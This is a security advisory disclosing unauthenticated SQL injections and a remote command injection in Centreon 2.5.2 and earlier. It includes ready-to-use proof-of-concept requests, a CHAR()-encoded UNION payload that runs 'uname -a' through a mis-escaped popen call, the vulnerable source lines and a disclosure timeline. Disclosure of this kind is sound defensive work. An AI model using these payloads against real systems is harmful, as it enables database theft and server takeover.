# Multiple unauthenticated SQL injections and unauthenticated remote 
command injection in Centreon <= 2.5.2 and Centreon Enterprise Server <= 
2.2|3.0
#
# Product link:     http://www.centreon.com/
# CVE references
#  |- CVE-2014-3828:  Unauthenticated SQL injections
#  |- CVE-2014-3829:  Unauthenticated remote command injection
# CERT/CC reference:  VU#298796
# Author:         MaZ

TL;DR
-----
Centreon is vulnerable to several pre-auth SQLi and a cool pre-auth rci: 
the only prerequisites to exploit the rci is to have at least one user 
(you, your fav sysadmin or someone else) connected to the WebUI.
All Centreon versions from 2008 (v2.0) are vulnerable to the rci. Vulns 
were originally found for the 2.5.1 version but the 2.5.2 seems to be 
still vulnerable.
See the quick'n'dirty PoC below. A msf module might be soon be 
available.


PoC
---
> SQL injections:
------------------
[POST] 
http://server/centreon/include/configuration/configObject/traps/GetXMLTrapsForVendor.php
[POST DATA] mnftr_id=1 or 1=1 union all select version(),2 -- /**

[POST] 
http://server/centreon/include/common/javascript/commandGetArgs/cmdGetExample.php
[POST DATA] index=2' or 1=1 -- /**

[GET] http://server/centreon/include/views/graphs/GetXmlTree.php?sid=' 
or 1=1 -- /**

[GET] 
http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php?session_id=0' 
or 1=1 -- /**&index=1' or 1=1 -- /**

[GET] 
http://server/centreon/include/views/graphs/common/makeXML_ListMetrics.php?index_id=' 
union select @@version,2,3 -- /**

> Remote Command Injection
---------------------------
For older versions, the URL is not: 
http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php
but: 
http://server/centreon/include/views/graphs/statusGraphs/displayServiceStatus.php.

[PAYLOAD] ";uname -a;" which has to be converted to SQL "CHAR(59, 32, 
117, 110, 97, 109, 101, 32, 45, 97, 59)"

[GET] 
http://server/centreon/include/views/graphs/graphStatus/displayServiceStatus.php
?session_id=' or 1=1 -- /**
&template_id=' UNION ALL SELECT 1,2,3,4,5,CHAR(59, 32, 117, 110, 97, 
109, 101, 32, 45, 97, 
59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**


Details
-------
> SQLi injections:
------------------
See for yourself
$ cd www/
$ grep -inr "DB->query(" . |grep -P "$_(GET|POST)"

> Remote Command Injection
---------------------------
The following world-accessible file 
"www/include/views/graphs/graphStatus/displayServiceStatus.php" contains 
few coding mistakes.
The purpose of this script is to produce a graph, relying on the 
execution of a shell command involving the "graph" executable: a 
mis-escaped shell command is built throughout the script.

Well first, there's an SQLi in the request which checks for an active 
session (someone has to be currently logged). From line 70 :
  /*
   * Verify if session is active
   */

  $session = $pearDB->query("SELECT * FROM `session` WHERE session_id = 
'".$_GET["session_id"]."'");


Then, some graph parameters are taken from a template id. The associated 
request is also vulnerable to SQLi.
 From line 120 you have the code responsible for setting the variable 
$template_id :
  if (!isset($_GET["template_id"])|| !$_GET["template_id"]){
    $host_id = getMyHostID($index_data_ODS["host_name"]);
    $svc_id = getMyServiceID($index_data_ODS["service_description"], 
$host_id);
    $template_id = getDefaultGraph($svc_id, 1);
    $index = $index_data_ODS["id"];
  } else
    $template_id = $_GET["template_id"];


Then, there's an SQLi in the request which gets there graph parameters.
 From line 140:
  /*
   * get all template infos
   */

  $DBRESULT = $pearDB->query("SELECT * FROM giv_graphs_template WHERE 
graph_id = '".$template_id."' LIMIT 1");
  $GraphTemplate = $DBRESULT->fetchRow();


Then, these graph parameters are put into the command. Notably the 
"base" parameter, corresponding to the 6th column in the 
'giv_graphs_template' table.
 From line 163:
  $base = "";
  if (isset($GraphTemplate["base"]) && $GraphTemplate["base"])
  {
    $base = "-b ".$GraphTemplate["base"];
  }

At line 184:
  $command_line .= " --interlaced $base --imgformat PNG 
--width=".$GraphTemplate["width"]." 
--height=".$GraphTemplate["height"]." ";


Then, the command line is escaped...but some special chars, notably ';', 
are missed:
 From line 254:
  /*
   * Escale special char
   */
  $command_line = escape_command("$command_line");

 From line 38:
  function escape_command($command) {
    return preg_replace("/(\\\$|`)/", "", $command);
  }


Finally and to top it all, the command gets executed and the stdout is 
echoed.
 From line 259:
  $fp = popen($command_line  , 'r');
  if (isset($fp) && $fp ) {
    $str ='';
    while (!feof ($fp)) {
      $buffer = fgets($fp, 4096);
      $str = $str . $buffer ;
    }
    print $str;
  }


Solution
--------
Brace yourself and
* Delete displayServiceStatus.php: I don't know if it'll break something 
or not
* Wait for patches


Timeline
--------
Jun  3, 2014: Discoverer found vulns, asked for CVE and contacted vendor 
through their contact@ and sales@ mail. Not a single f*** seems to be 
given from them
Jun 21, 2014: Discoverer contacted Rapid7. Yes, they're cool
Aug 04, 2014: Rapid7 validated CVE-2014-3289
Aug 11, 2014: Rapid7 validated CVE-2014-3828
Aug 28, 2014: Researcher and Rapid7 agree to disclose to CERT/CC.
Sep  2, 2014: Disclosure to CERT/CC. They'll try to reach the vendor. 
Public disclosure date is set on October 15, 2014
Oct 16, 2014: No fix or news from Centreon. Not a single f*** is 
definitely given. Public disclosure. Period